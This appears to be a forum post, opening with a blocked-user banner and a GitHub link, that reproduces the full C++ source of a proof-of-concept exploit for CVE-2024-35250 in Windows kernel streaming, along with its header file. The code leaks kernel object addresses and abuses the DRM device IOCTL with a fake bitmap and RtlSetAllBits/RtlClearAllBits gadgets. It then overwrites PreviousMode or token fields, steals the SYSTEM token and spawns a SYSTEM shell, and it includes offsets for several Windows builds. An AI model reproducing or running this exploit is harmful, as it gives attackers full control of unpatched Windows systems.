Пожалуйста, обратите внимание, что пользователь заблокирован
С добрым утром https://github.com/varwara/CVE-2024-35250
C++:
/*
PoC Info
--------------------------------------------------------------
Vulnerability: CVE-2024-35250
Tested environment: Windows 11 22h2 Build 22621
Windows 10 20h2 Build 19042
VMWare Workstation 17 Pro
Weakness: CWE-822: Untrusted Pointer Dereference
Known limitations: Didn't work in Hyper-V environments
Required privileges: Medium IL
--------------------------------------------------------------
*/
#define __STREAMS__
#define _INC_MMREG
//#define _SE_DEBUG_PRIVILEGE 0xc1b4
#define _PREVIOUS_MODE 0xbaba
#include <Windows.h>
#include <winternl.h>
#include <strmif.h>
#include <ks.h>
#include <ksproxy.h>
#include <ksmedia.h>
#include <stdio.h>
#include <SetupAPI.h>
#include <functiondiscovery.h>
#include <mmdeviceapi.h>
#include <stdint.h>
#include <safeint.h>
#include <ntstatus.h>
#include <TlHelp32.h>
#include <winsvc.h>
#include "common.h"
#include <processthreadsapi.h>
#pragma comment(lib, "Ksproxy.lib")
#pragma comment(lib, "ksuser.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "ntdllp.lib")
#pragma comment(lib, "SetupAPI.lib")
#pragma comment(lib, "Advapi32.lib")
//
// Get the kernel object pointer for the specific process by it's handle
//
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)
{
int32_t Ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
ULONG ulBytes = 0;
NTSTATUS Status = STATUS_SUCCESS;
//
// Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
//
while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
{
if (pHandleInfo != NULL)
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
}
else
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
}
}
if (Status != NULL)
{
Ret = Status;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
{
*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
Ret = 0;
break;
}
}
done:
if (pHandleInfo != NULL)
{
HeapFree(GetProcessHeap, 0, pHandleInfo);
}
return Ret;
}
//
// ALlocate fake bitmap for arbitrary r/w operations
//
void* AllocateBitmap(SIZE_T size, LPVOID baseAddress) {
LPVOID allocatedMemory = VirtualAlloc( baseAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (allocatedMemory == NULL)
{
printf("[-] AllocateBitmap failed with error: %d\n", GetLastError());
return NULL;
}
printf("[+] Fake RTL_BITMAP allocated at address = %p\n", allocatedMemory);
return allocatedMemory;
}
UINT_PTR GetKernelModuleAddress(const char* TargetModule)
{
NTSTATUS status;
ULONG ulBytes = 0;
PSYSTEM_MODULE_INFORMATION handleTableInfo = NULL;
while ((status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
{
if (handleTableInfo != NULL)
{
handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
}
else
{
handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
}
}
if (status == 0)
{
for (ULONG i = 0; i < handleTableInfo->ModulesCount; i++)
{
char* moduleName = strstr(handleTableInfo->Modules[i].Name, TargetModule);
if (moduleName != NULL)
{
return (UINT_PTR)handleTableInfo->Modules[i].ImageBaseAddress;
}
}
}
else
{
if (handleTableInfo != NULL)
{
printf("[-] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
HeapFree(GetProcessHeap(), 0, handleTableInfo);
return 0;
}
}
HeapFree(GetProcessHeap(), 0, handleTableInfo);
return 0;
}
DWORD64 leak_gadget_address(LPCSTR GadgetName)
{
DWORD64 module_base_kernel, rtlSetAllBits_address;
HMODULE module_base_user;
module_base_user = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!module_base_user)
goto error;
rtlSetAllBits_address = (DWORD64)GetProcAddress(module_base_user, GadgetName);
if (!rtlSetAllBits_address) {
goto error;
}
module_base_kernel = GetKernelModuleAddress("ntoskrnl.exe");
rtlSetAllBits_address = module_base_kernel + (rtlSetAllBits_address - (DWORD64)module_base_user);
return rtlSetAllBits_address;
error:
printf("[-] leak_gadget_address failed\n");
return FALSE;
}
//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(void *Dst, void *Src, size_t Size)
{
NTSTATUS Status = 0;
PULONG cbNumOfBytesWrite = 0;
Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, cbNumOfBytesWrite);
if (!NT_SUCCESS(Status))
{
return -1;
}
return Status;
}
//
// original from https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6
//
DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) {
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size;
BOOL ret;
// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0,
size
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Finally, create the process
ret = CreateProcessA(
NULL,
command,
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi
);
if (ret == false) {
printf("CreateProcessFromHandle failed with error = \n", GetLastError());
return 3;
}
return 0;
}
ULONG GetPidByName(const wchar_t* procname) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
ULONG pid;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (wcscmp((const wchar_t*)entry.szExeFile, procname) == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
return pid;
}
int main()
{
HRESULT hr;
HANDLE hDrmDevice = NULL;
UCHAR InBuffer[sizeof(KSPROPERTY) + sizeof(EXPLOIT_DATA2)] = { 0 };
KSPROPERTY *pInBufProperty = (KSPROPERTY*)InBuffer;
EXPLOIT_DATA2* pInBufPropertyData = (EXPLOIT_DATA2*)(pInBufProperty + 1);
UCHAR UnserializePropertySetRequest[sizeof(KSPROPERTY_SERIALHDR) + sizeof(KSPROPERTY_SERIAL) + sizeof(EXPLOIT_DATA1)] = { 0 };
KSPROPERTY_SERIALHDR *pSerialHdr = (KSPROPERTY_SERIALHDR*)UnserializePropertySetRequest;
PKSPROPERTY_SERIAL pSerial = (KSPROPERTY_SERIAL*)(pSerialHdr + 1);
EXPLOIT_DATA1 *pOutBufPropertyData = (EXPLOIT_DATA1*)(pSerial + 1);
BOOL res = FALSE;
NTSTATUS status = 0;
uint32_t Ret = 0;
const GUID categories[] = {
KSCATEGORY_DRM_DESCRAMBLE,
};
//
// Get a KS object device with ksproxy.ax API
//
for (int i = 0; i < sizeof(categories) / sizeof(categories[0]); i++)
{
hr = KsOpenDefaultDevice(categories[i], GENERIC_READ | GENERIC_WRITE, &hDrmDevice);
if (hr != NOERROR) {
printf("[-] KsOpenDefaultDevice at index %d failed with error = %x\n", i, hr);
return hr;
}
printf("[+] DRM device handle value = %p\n", hDrmDevice);
}
#ifdef _SE_DEBUG_PRIVILEGE
HANDLE hToken;
uint64_t ktoken_obj = 0;
res = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (!res)
{
printf("[-] Failed to open current process token\n");
return res;
}
res = GetObjPtr(&ktoken_obj, GetCurrentProcessId(), hToken);
if (res != NULL)
{
return -1;
}
printf("[+] Current process TOKEN address = %llx\n", ktoken_obj);
#elif defined _PREVIOUS_MODE
uint64_t Sysproc = 0;
uint64_t Curproc = 0;
uint64_t Curthread = 0;
HANDLE hCurproc = 0;
HANDLE hThread = 0;
//
// Leak System _EPROCESS kernel address
//
Ret = GetObjPtr(&Sysproc, 4, (HANDLE)4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address: %llx\n", Sysproc);
//
// Leak Current _KTHREAD kernel address
//
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current KTHREAD address: %llx\n", Curthread);
}
//
// Leak Current _EPROCESS kernel address
//
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current EPROCESS address: %llx\n", Curproc);
}
#endif
//
// Initialize input buffer
//
pInBufProperty->Set = KSPROPSETID_DrmAudioStream;
pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET;
pInBufProperty->Id = 0x0;
//
// Initialize output buffer
//
pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream;
pSerialHdr->Count = 0x1;
pSerial->PropertyLength = sizeof(EXPLOIT_DATA1);
pSerial->Id = 0x0; // Should be null
pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream;
pSerial->PropTypeSet.Flags = 0x0; // Should be null
pSerial->PropTypeSet.Id = 0x45; // Irrelevant value
//
// Intialize fake property data
//
uint64_t ntoskrnl_user_base = 0;
HMODULE outModule = 0;
UINT_PTR ntoskrnlKernelBase = GetKernelModuleAddress("ntoskrnl.exe");
printf("[+] ntoskrnl.exe base address = %llx\n", ntoskrnlKernelBase);
pOutBufPropertyData->FakeBitmap = (PRTL_BITMAP)AllocateBitmap(sizeof(RTL_BITMAP), ULongLongToPtr64(0x10000000));
#ifdef _SE_DEBUG_PRIVILEGE
//
// FakeBitmap initialization for the overwriting TOKEN.Privileges fields technique
//
pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 * 4; // It should be (0x20 * n) to overwrite (n/2 * 0x8) bytes at arbitrary address
pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(ktoken_obj + TOKEN_PRIV_WIN_11_22H2_22621); // Token present/enabled bits address
pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlSetAllBits"));
printf("[!] RtlSetAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#elif defined _PREVIOUS_MODE
//
// FakeBitmap initialization for the overwriting KTHREAD.PreviousMode field technique
//
pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20;
pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(Curthread + PREV_MODE_WIN_11_22H2_22621); // KTHREAD.PreviousMode field address
pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlClearAllBits")); // This gadget will zeroing KTHREAD.PreviousMode field
printf("[!] RtlClearAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#endif
//
// Send property request to trigger the vulnerability
//
res = DeviceIoControl(hDrmDevice, IOCTL_KS_PROPERTY, pInBufProperty, sizeof(InBuffer), pSerialHdr, sizeof(UnserializePropertySetRequest), NULL, NULL);
if (!res)
{
printf("[-] DeviceIoControl failed\n"); // It's ok to see this message if exploit succeded
}
#ifdef _SE_DEBUG_PRIVILEGE
HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"winlogon.exe"));
if (!hWinLogon) {
printf("OpenProcess failed with error = 0x%lx\n", GetLastError());
return FALSE;
}
CreateProcessFromHandle(hWinLogon, (LPSTR)"cmd.exe");
return TRUE;
#elif defined _PREVIOUS_MODE
printf("[!] Leveraging DKOM to achieve LPE\n");
printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
uint8_t mode = UserMode; // We set UserMode in restoring thread state phase to avoid BSOD in further process creations
Write64(ULongLongToPtr64(Curproc + EPROCESS_TOKEN_WIN_11_22H2_22621), ULongLongToPtr64(Sysproc + EPROCESS_TOKEN_WIN_11_22H2_22621), /* Token size */ 0x8);
//
// Restoring KTHREAD.PreviousMode phase
//
Write64(ULongLongToPtr64(Curthread + PREV_MODE_WIN_11_22H2_22621), &mode, sizeof(mode));
//
// Spawn the shell with "nt authority\system"
//
system("cmd.exe");
#endif
return 0;
}
C++:
#pragma once
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET 0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET 0x232
#define EPROCESS_SECURE_STATE_OFFSET 0x3E0
#define SEP_TOKEN_PRIVILEGE_OFFSET 0x40
#define SystemHandleInformation 0x10
#define SystemModuleInformation 11
#define SystemHandleInformationSize 0x400000
enum _MODE
{
KernelMode = 0,
UserMode = 1
};
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
#ifdef _WIN64
ULONG Reserved3;
#endif
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
CHAR Name[255];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
__inline void * ULongLongToPtr64( const unsigned long long ull )
{
return( (void *)(ULONG_PTR)ull );
}
//
// Declare some functions from ntdll.dll
//
extern "C"
{
NTSTATUS RtlGUIDFromString(PUNICODE_STRING GuidString, GUID* Guid);
NTSTATUS RtlStringFromGUID(REFGUID Guid, PUNICODE_STRING GuidString);
NTSTATUS NtImpersonateThread(HANDLE ThreadHandle, HANDLE ThreadToImpersonate, SECURITY_QUALITY_OF_SERVICE* SecurityQualityOfService);
NTSTATUS NtWriteVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL );
}
#define DRM_DEVICE_OBJECT L"\\\\?\\root#system#0000#{ffbb6e3f-ccfe-4d84-90d9-421418b03a8e}\\{eec12db6-ad9c-4168-8658-b03daef417fe}&{abd61e00-9350-47e2-a632-4438b90c6641}"
//DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196", KSNAME_Server);
//#define KSNAME_Server DEFINE_GUIDNAMED(KSNAME_Server)
//DEFINE_GUIDSTRUCT("3C0D501B-140B-11D1-B40F-00A0C9223196", KSPROPSETID_Service);
//#define KSPROPSETID_Service DEFINE_GUIDNAMED(KSPROPSETID_Service)
//
// Declare data structures related to the exploit
//
typedef struct _RTL_BITMAP
{
DWORD SizeOfBitMap;
PVOID Buffer;
}RTL_BITMAP, *PRTL_BITMAP;
#pragma pack(1)
typedef struct _EXPLOIT_DATA1
{
PRTL_BITMAP FakeBitmap;
}EXPLOIT_DATA1;
typedef struct _EXPLOIT_DATA2
{
char pad[0x20];
PVOID ptr_ArbitraryFunCall; // kCFG bypass gadget function, for example RtlSetAllBits
} EXPLOIT_DATA2;
//
// Kernel object offsets for different Windows versions to maintain exploit
// compatibility
//
enum EPROCESS_TOKEN_OFFSETS
{
EPROCESS_TOKEN_WIN_SERVER2012_62_9200 = 0x348,
EPROCESS_TOKEN_WIN_10_1507_10240 = 0x358,
EPROCESS_TOKEN_WIN_10_1903_18362 = 0x360,
EPROCESS_TOKEN_WIN_10_2004_19041 = 0x4b8,
EPROCESS_TOKEN_WIN_10_20H2_19042 = 0x4b8,
EPROCESS_TOKEN_WIN_11_22H2_22621 = 0x4b8,
};
enum KTHREAD_PREVIOUS_MODE_OFFSETS
{
PREV_MODE_WIN_SERVER2012_62_9200 = 0x232,
PREV_MODE_WIN_10_20H2_19042 = 0x232,
PREV_MODE_WIN_11_22H2_22621 = 0x232,
};
enum TOKEN_PRIVILEGES_OFFSET
{
TOKEN_PRIV_WIN_10_1507_10240 = 0x40,
TOKEN_PRIV_WIN_11_22H2_22621 = 0x40,
TOKEN_PRIV_WIN_11_23H2_22631 = 0x40,
};